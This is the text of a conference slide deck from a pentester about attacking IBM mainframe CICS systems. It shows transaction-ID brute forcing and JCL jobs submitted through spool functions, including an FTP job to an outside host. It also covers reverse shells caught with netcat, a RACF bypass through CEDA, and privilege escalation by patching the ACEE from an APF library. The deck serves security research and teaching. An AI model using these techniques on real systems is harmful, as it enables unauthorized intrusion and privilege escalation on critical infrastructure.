Popping a shell on a mainframe, is that even possible?
What people think of when I talk about mainframes
The reality: IBM zEC 13 technical specs:

• 10 TB of RAM
• 141 processors, 5 GHz
• Dedicated processors for JAVA, XML and UNIX
• Cryptographic chips…

Badass Badass Badass !!

So what...who uses those anymore?
TYPE ONE OF THE FOLLOWING:

TAO          <- ---- EMAIL/CALENDARS.
TSO          <- ---- MVS TSO.
CICS3        <- ---- AIMI PROD ONLINE.
CICS4        <- ---- AIMI TEST ONLINE.
About me

Pentester at Wavestone, mainly hacking Windows and Unix stuff

First got my hands on a mainframe in 2014...Hooked ever since

When not hacking stuff: Metal and wine

github.com/ayoul3
ayoul3__
This talk

Demystifying mainframes

Customer Information Control System (CICS)

Hacking CICS

Post exploit tools

@ayou13__
Ok let’s get down to business…pentest this
This is what we know so far

Obviously this is no web app

It is accessed using a 3270 emulator on port 23 (telnet)

And we have absolutely no idea how it works
Then there was

CICS is a combination Drupal and Apache Tomcat...before it was cool (around 1968)

Current version is CICS TS 5.4

Customer Information Control System
API in COBOL/C/Java

Handles cache, concurrence access, etc.

Uniform rendering of the screen

Easily thousands of request/sec
Order the following by requests/second

Google search
CICS
Facebook like
Twitter tweet
Youtube views
Requests per second around the world

- Youtube views
- Facebook posts
- Google search
- Twitter tweets

@ayouI3__
WELCOME TO CICS TS 3.2

Type your userid and password, then press ENTER:

  Userid .... [ ]______  Groupid .... [ ]______
  Password ... [ ]______  Language ... [ ]______

New Password ...

DFHCE3520 Please type your userid.
F3=Exit
INQMAP1 Customer Inquiry

Type a customer number. Then press Enter.

Customer number: 400000

Name and address: DENLLI NEREA 834 NJD RD DENVILLE

F3=Exit  F12=Cancel
CICS flow

GMTRAN = CESN

<table>
<thead>
<tr>
<th>TRAN ID</th>
<th>PROGRAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>CESN</td>
<td>DFHSNP</td>
</tr>
<tr>
<td>INQ1</td>
<td>EUROINQ1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>PROGRAM</th>
<th>LOCATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>DFHSNP</td>
<td>DFH320.SDFHLOAD (DFHSNP)</td>
</tr>
<tr>
<td>EUROINQ1</td>
<td>DFH320.SDFHLOAD (EUROINQ1)</td>
</tr>
</tbody>
</table>

User & Password

RACF

OK

@ayoul3__
CICS flow

GMTRAN = CESN

FILE | LOCATION | LOAD
--- | --- | ---
EUROCLI | AYOUB.KICKS.MURACH.EUROCLI | 0

CICS region (EURO)
Now that we are CICS experts
Let’s break this ****
Find the right combination of keys to interrupt the normal flow of an App and get back to the CICS terminal

It is the equivalent of finding the admin panel on a URL...

It can be done by pressing PF3 on the logon panel, RESET button, or PF12 on some menu, etc.
1. Escaping from the CICS app
DFHCE3543 You have cancelled your sign-on request. Sign-on is terminated.
DFHAC2001 04/03/2017 15:50:39 CICSTS32 Transaction '' is not recognized. Check that the transaction name is correct.
We can enter any transaction ID..now what?

The ID is 4 digits....we can easily bruteforce it :

- **Mainframe_brute:**
  https://github.com/sensepost/mainframe_brute

- **Nmap scripts:**
  https://github.com/zedsec390/NMAP/blob/master/cics-enum.nse

- **CICSShot:** https://github.com/ayoul3/cicsshot

@ayoul3__
Default transactions

CESN (Login transaction)
CEMT (Master terminal console)
CECI  (Live interpreter debugger)
CEDA (Online Resource Definition program)
CEDB (Offline Resource Definition program)
CEMT

STATUS: ENTER ONE OF THE FOLLOWING

Discard
Inquire
Perform
Set

SYSID=S650  APPLID=CICSTS32

PF 1 HELP  3 END  5 VAR  9 MSG
<table>
<thead>
<tr>
<th>Status</th>
<th>Enter One of the Following or Hit Enter for Default</th>
</tr>
</thead>
<tbody>
<tr>
<td>AUTInstmodel</td>
<td>DSName</td>
</tr>
<tr>
<td>AUTOinstall</td>
<td>DUMdps</td>
</tr>
<tr>
<td>AUXtrace</td>
<td>ENQ</td>
</tr>
<tr>
<td>Bean</td>
<td>ENQModel</td>
</tr>
<tr>
<td>BRfacility</td>
<td>EXci</td>
</tr>
<tr>
<td>CFdtpool</td>
<td>FEConnection</td>
</tr>
<tr>
<td>Classcache</td>
<td>FENode</td>
</tr>
<tr>
<td>CONnection</td>
<td>FEPool</td>
</tr>
<tr>
<td>CORbaserver</td>
<td>FEPropset</td>
</tr>
<tr>
<td>DB2Conn</td>
<td>FETarget</td>
</tr>
<tr>
<td>DB2Entry</td>
<td>File</td>
</tr>
<tr>
<td>DB2Tran</td>
<td>Gftrace</td>
</tr>
<tr>
<td>Delete shipped</td>
<td>Host</td>
</tr>
<tr>
<td>Dispatcher</td>
<td>INTtrace</td>
</tr>
<tr>
<td>DJar</td>
<td>IPconn</td>
</tr>
<tr>
<td>DDocltemplate</td>
<td>IRC</td>
</tr>
<tr>
<td>DSAs</td>
<td>JModel</td>
</tr>
</tbody>
</table>

SYSID=S650 APPLID=CICSTS32
DFHCE3543 You have cancelled your sign-on request. Sign-on is terminated.
I TRANS(INQ1) □
STATUS: RESULTS - OVERTYPE TO MODIFY
Tra(INQ1) Pri(001) Pro(EUROINQ1) Tcl(DFHTCL00) Ena Sta
Prf(DFHCICST) Uda Bel Iso Bac Wai
<table>
<thead>
<tr>
<th>Settings</th>
<th>Values</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aging</td>
<td>00500</td>
</tr>
<tr>
<td>Akp</td>
<td>04000</td>
</tr>
<tr>
<td>Cicslevel</td>
<td>030200</td>
</tr>
<tr>
<td>Cmdprotect</td>
<td></td>
</tr>
<tr>
<td>Db2conn</td>
<td></td>
</tr>
<tr>
<td>Debugtool</td>
<td>Nodebug</td>
</tr>
<tr>
<td>Dfltuser</td>
<td>CICSUSER</td>
</tr>
<tr>
<td>Dsalimit</td>
<td>07340032</td>
</tr>
<tr>
<td>Dsrtprogram</td>
<td>NONE</td>
</tr>
<tr>
<td>Dtrprogram</td>
<td>DFHDYP</td>
</tr>
<tr>
<td>Dumping</td>
<td>Sysdump</td>
</tr>
<tr>
<td>Edsalimit</td>
<td>0104857600</td>
</tr>
<tr>
<td>Forceqr</td>
<td>Noforce</td>
</tr>
<tr>
<td>Logdefer</td>
<td>00005</td>
</tr>
<tr>
<td>Maxtasks</td>
<td>020</td>
</tr>
<tr>
<td>Memlimit</td>
<td>Nolimit</td>
</tr>
<tr>
<td>Mrobatch</td>
<td>001</td>
</tr>
<tr>
<td>Oslevel</td>
<td>011000</td>
</tr>
<tr>
<td>Progautoctlg</td>
<td>Ctlgmodify</td>
</tr>
<tr>
<td>Progautoexit</td>
<td>DFHPGADX</td>
</tr>
<tr>
<td>Progautoinst</td>
<td>Autoinactive</td>
</tr>
<tr>
<td>Reentprotect</td>
<td>Reentprot</td>
</tr>
<tr>
<td>Release</td>
<td>0650</td>
</tr>
<tr>
<td>Runaway</td>
<td>00200000</td>
</tr>
<tr>
<td>Scandelay</td>
<td>0100</td>
</tr>
<tr>
<td>Sdtran</td>
<td>CESD</td>
</tr>
<tr>
<td>Sosabovebar</td>
<td>Notsos</td>
</tr>
<tr>
<td>Sosaboveline</td>
<td>Notsos</td>
</tr>
<tr>
<td>Sosbelowline</td>
<td>Notsos</td>
</tr>
<tr>
<td>Storeprotect</td>
<td>Inactive</td>
</tr>
<tr>
<td>Time</td>
<td>00001000</td>
</tr>
<tr>
<td>Tranisolate</td>
<td>Inactive</td>
</tr>
</tbody>
</table>

Response: NORMAL

SYSID=S650 APPLID=CICSTS32
TIME: 16.56.43 DATE: 10.15.16
PF 1 HELP 3 END 5 VAR 7 SBH 8 SFH 9 MSG 10 SB 11 SF
I TASK
STATUS: RESULTS - OVERTYPE TO MODIFY
Tas(00000083) Tra(CEDA) Fac(L704) Sus Ter Pri( 001 )
  Sta(TO) Use(CICSUSER) Uow(D17FCFE708A22001) Hty(ZCIOWAIT)
Tas(00000089) Tra(CEMT) Fac(L703) Run Ter Pri( 255 )
  Sta(TO) Use(AYOUUB) Uow(D17FD064CB557080)

RESPONSE: NORMAL
PF 1 HELP   3 END   5 VAR   7 SBH 8 SFH 9 MSG 10 SB 11 SF

SYSID=S650 APPLID=CICSTS32
TIME: 16.58.14 DATE: 10.15.16
P SHUT
STATUS: ENTER ONE OF THE FOLLOWING

CLasscache
COrbaserver
DElet shipped
DJar
DUmp
End affinity
Jvm pool
Pipeline
Reset
SEcurity
SHUTdown
SNap
STatistics

SYSID=S650 APPLID=CICSTS32

PF 1 HELP 3 END 5 VAR 9 MSG
Get some useful information about the system:
  • List temporary storage queues
  • List DB2 connections
  • List webservices
  • Scrap userids in menus

Uninstall programs, files, webservices, db2connections, etc.
CECI

It executes CICS API commands...that’s it really :-)

© WAVESTONE
Remember the CICS APIs?
READ FILE('EUROCLI') RID(400002) GTE INTO(&DATA)

EXEC CICS READ
  File('EUROCLI')
  < SYsid() >
  ( SET() | Into('400002HANAH TALLI' ... ) )
  < Length(+00118) >
  RIdfld('0')
  < Keylength() < GEneric > >
  < RBa | Xrba | RRn | DEBRec | DEBKey >
  < GTeq | Equal >
  < UNcommitted | Consistent | REpeatable | UPdate < Token() > >
  < Nosuspend >

RESPONSE: NORMAL EIBRESP=+0000000000 EIBRESP2=+0000000000
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11 SF
This is all nice but can we own the mainframe?
CICS has a nice feature called Spool functions

A spool is basically a normal dataset (or file) containing the output of a JOB (program)

Using Spool functions we can generate a dataset and send it directly to JES (Job scheduler)...which will execute it!
The theory
The theory

<table>
<thead>
<tr>
<th>CICS</th>
<th>JES</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

MVS

SPOOL OPEN OUTPUT
USERID("")

TOKEN

SPOOLWRITE TOKEN
Line 1 of code: //JOBNAME JOB (123),...

JES SPOOL

JOB 1
JOB 2
The theory
&TOK  +000008  S0000003
&DATA3 +00080  //JOBNAME JOB (INTRDR),CLASS=A
&DATA4 +00080  /*
&DATA5 +00080  //STEP01 EXEC PGM=FTP,PARM='192.168.1.18'
&DATA6 +00080  //OUTPUT DD SYSOUT=A
&DATA7 +00080  //INPUT DD *
&DATA8 +00080  AYOUL3
&DATA9 +00080  PASSWORD
&DATA10 +00080  DIR
&DATA11 +00080  /*
&DATA12 +00080  /*EOF

PF 1HELP 2HEX 3END 4EIB 5VAR 6USER 9MSG
SPOOLWRITE TOKEN(&TOK) FROM(&DATA1)  

STATUS:  COMMAND EXECUTION COMPLETE  

EXEC CICS  SPOOLWrite
  Token( 'S00000003' )
  FFrom( '//JOBNAME JOB (INTRDR),CLASS=A   
             ... )
  FLength( +0000000080  )
  FLine | FPage

RESPONSE:  NORMAL  EIBRESP=+0000000000 EIBRESP2=+0000000000
PF 1  HELP 2  HEX 3  END 4  EIB 5  VAR 6  USER 7  SBH 8  SFH 9  MSG 10  SB 11  SF
SPOOLCLOSE TOKEN(&TOK) □
STATUS: COMMAND EXECUTION COMPLETE NAME=
EXEC CICS SPOOLClose
Token('S0000003')
< Keep | Delete >

RESPONSE: NORMAL EIBRESP=+0000000000 EIBRESP2=+000000000000
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11 SF
Hurray!
Let’s automate this to do some 3l33t3 stuff

@ayou13__
A nice reverse shell

Allocation of a dataset

Reverse shell in REXX

Execution of the dataset
Kicker #1

Shell payloads included in CICSPwn:

• reverse_tso/direct_tso: shell in the TSO environment

• reverse_unix/direct_unix: shell in the UNIX environment

• ftp: connects to an FTP server and pushes/gets files

• reverse_rexx/direct_rexx: execute rexx script directly in memory

• Custom JCL: executes your own JCL
The JOB is executed with the userid launching CICS (START2) regardless of the user submitting it.

```
root@kali:~# nc -l -p 443
TSO > LU
USER=START2  NAME=UNKNOWN   OWNER=SYS1     CREATED=02.314
      DEFAULT-GROUP=SYS1  PASSDATE=N/A    PASS-INTERVAL=N/A  PHRASEDATE=N/A
      ATTRIBUTES=PROTECTED
      REVOKE DATE=NONE     RESUME DATE=NONE
      LAST-ACCESS=16.290/15:51:52
      CLASS AUTHORIZATIONS=NONE
      NO-INSTALLATION-DATA
      NO-MODEL-NAME
      LOGON ALLOWED (DAYS) (TIME)
      -----------------------------------------
      ANYDAY                ANYTIME
      GROUP=SYS1             AUTH=USE
      CONNECT-OWNER=SYS1    CONNECT-DATE=02.314
```
## Kicker #2

<table>
<thead>
<tr>
<th>NP</th>
<th>JOBNAME</th>
<th>JobID</th>
<th>Owner</th>
<th>Prty</th>
<th>Queue</th>
<th>C</th>
<th>Pos</th>
<th>SAff</th>
<th>ASys</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CICSUSER</td>
<td>JOB02998</td>
<td>START2</td>
<td>9</td>
<td>EXECUTION</td>
<td>A</td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>IBMUSER</td>
<td>TSU03017</td>
<td>IBMUSER</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>SYSLOG</td>
<td>STC02801</td>
<td>+MASTER+</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02802</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>RACF</td>
<td>STC02803</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02804</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02805</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02806</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02807</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02808</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02809</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02810</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02811</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>INIT</td>
<td>STC02812</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>BPXAS</td>
<td>STC02834</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>BPXAS</td>
<td>STC02835</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>RMF</td>
<td>STC02837</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>NET</td>
<td>STC02838</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA</td>
</tr>
<tr>
<td></td>
<td>RMFGAT</td>
<td>STC02839</td>
<td>START2</td>
<td>15</td>
<td>EXECUTION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DUZA ARMELEM</td>
</tr>
</tbody>
</table>

**COMMAND INPUT:** `===>`
Kicker #3

What if it were NODE(WASHDC) or NODE(REMOTESYS)
...

Yes execution on another mainframe :-)

RESPONSE: NORMAL  EIBRESP=+0000000000  EIBRESP2=+0000C
PF 1 HELP 2 HEX 3 END 4 EIB 5 VAR 6 USER 7 SBH 8 SFH 9 MSG 10 SB 11
A few problems though...

- Spool option turned off (Spool=NO)
- CECI not available
© WAVESTONE

APPLID=(CICSTS31,CICSTS32)
200100 AICONS=AUTO
400000 AUXTR=OFF
600000 AUXTRSW=NEXT
600001 EDSALIM=100M
600002 DSALIM=7M
600003 FEPI=YES
600004 GMTEXT='WELCOME TO CICS TS 3.2'
600005 GRPLIST=(XYZLIST)
600006 GTFTR=ON
600007 IRCSTRT=NO
600008 ISCT=NO
600009 RLS=NO
600010 SEC=YES
600020 SIT=6$
600030 STATRCD=OFF
600040 SYSIDNT=S650
600050 SPCTRL=(1,2)
600060 SPCTRWB=(1,2)
600070 *TCP/IP=YES
600080 FCT=NO,
600090 TCT=NO
600091 SPOOL=NO,
600092 GMTRAN=CESN,
600093 XCMD=NO,
600094 XPCT=NO,
600100 SRT=1$,
600200 PGRET=P/,
600300 PCPRBUCF=T/

APPLID CICSTS31 IS DEFAULT
MVS CONSOLE SUPPORT
TURN OFF AUX TRACE
ROTATE TO NEXT WHEN FULL
FOR PR JVM

START FEPI INTERFACE

USE CICS LOGGER OFF
GTF TRACE ON
DO NOT START IRC AUTOMATICALLY
DO NOT INCLUDE ISC/MRO
NO RLS SUPPORT YET
NO SECURITY REQUIRED
USE SUPPLIED SIT 6$
RECORDS STATISTICS TO SMF
SYSIDNT IS S650
TRACE ON SOCKET DOMAIN
TRACE WEB INTERFACE
FOR TCPIP & IIOP SERVICES

ADD RECOVERY
Spool=NO

Use Transient Data Queues instead

TDQ are handles towards files not defined in CICS

Some files are more special than others
VIEW ACDZ110S.PROCLIB(CICSTS32) - 01.02

000072 //CICS EXEC PGM=DFHSIP,REGION=&REG,TIME=1440,
000073 // COND=(1,NE,CICSCTL),
000074 // PARM='START=&STARTSYSIN'
000075 /*
000076 /* THE CAVM DATASETS - XRF
000077 /*
000078 /* THE "FILEA" APPLICATIONS SAMPLE VSAM FILE
000079 /* (THE FILEA DD STATEMENT BELOW WILL
000080 /* OVERRIDE THE CSD DEFINITION IN GROUP DFHMROFD)
000081 //FILEA DD DISP=SHR,
000082 // DSN=&INDEX1..CICS&REGNAM..FILEA
000083 /*
000084 //INREADER DD SYSOUT=(A,INTRDR)
000085 //SYSIN DD DISP=SHR,
000086 // DSN=&INDEX1..SYSIN(DFH$SIP&$IP)
000087 //DFHCMAOD DD DSN=DFH320.DFHCMACD,DISP=SHR
000088 //********************************************************************
000089 /* THE CICS STEPLIB CONCATENATION
000090 /* If Language Environment is required, the SCEERUN2
000091 /* and SCEERUN datasets is needed in STEPLIB or LNKLIST
000092 //********************************************************************
One down

- Spool option turned off
  \(\text{Spool} = \text{NO}\)

- CECI not available
CECI not available

DFHAC2002 10/22/2016 16:30:43 CICSTS32 To use this transaction CECI you must sign on or have the right security level.
CECI RACF rule

To forbid CECI for instance RACF admins define the following rule:

RDEFINE TCICSTRN CECI UACC(NONE)
CEDA to the rescue

CEDA is an IBM utility to manage resources on CICS
  • map files to their real locations
  • set temporary storage files
  • define/alter resources

It is way less protected than CECI

The idea is to copy CECI to a new transaction name always made available by RACF:
  Logon transaction
  Printing transaction
  Paging transaction...
CEDA to the rescue

If you have access to CEDA you can bypass any RACF rule

Use --bypass on CICSPwn ;)

@ayou13__
root@kali:~$ nc -l -p 443
On the mainframe...now what?

@ayou13__
Privileges on z/OS

There are three main privilege attributes on RACF:

- **Special**: access any system resource
- **Operations**: access (almost) any data resource
- **Audit**: access audit trails and manage log mechanisms
Security context in memory

Address space privileges are stored in a memory structure called ACEE (accessor environment element)
Authorized Program Facility (APF)

APF libraries are extensions of the zOS kernel

Any program present in an APF library can request kernel privileges (authorized mode)

Obviously...these libraries are very well protected! (irony)
Steps to exploit this

Write an ASM program to patch the current security context
• Locate the ACEE structure in memory
• Patch the privilege bits in memory

Compile and link the program with the Authorized state

Copy it to an APF library

Run it and enjoy SPECIAL privileges
Mainframed@767
BigEndianSmalls
Mark Wilson & RSM Partners
Henri Kuiper
Stu Henderson
CBT TAPE
IBM

Thank you
BRACE YOURSELVES

QUESTIONS ARE COMING

github.com/ayoul3
ayoul3__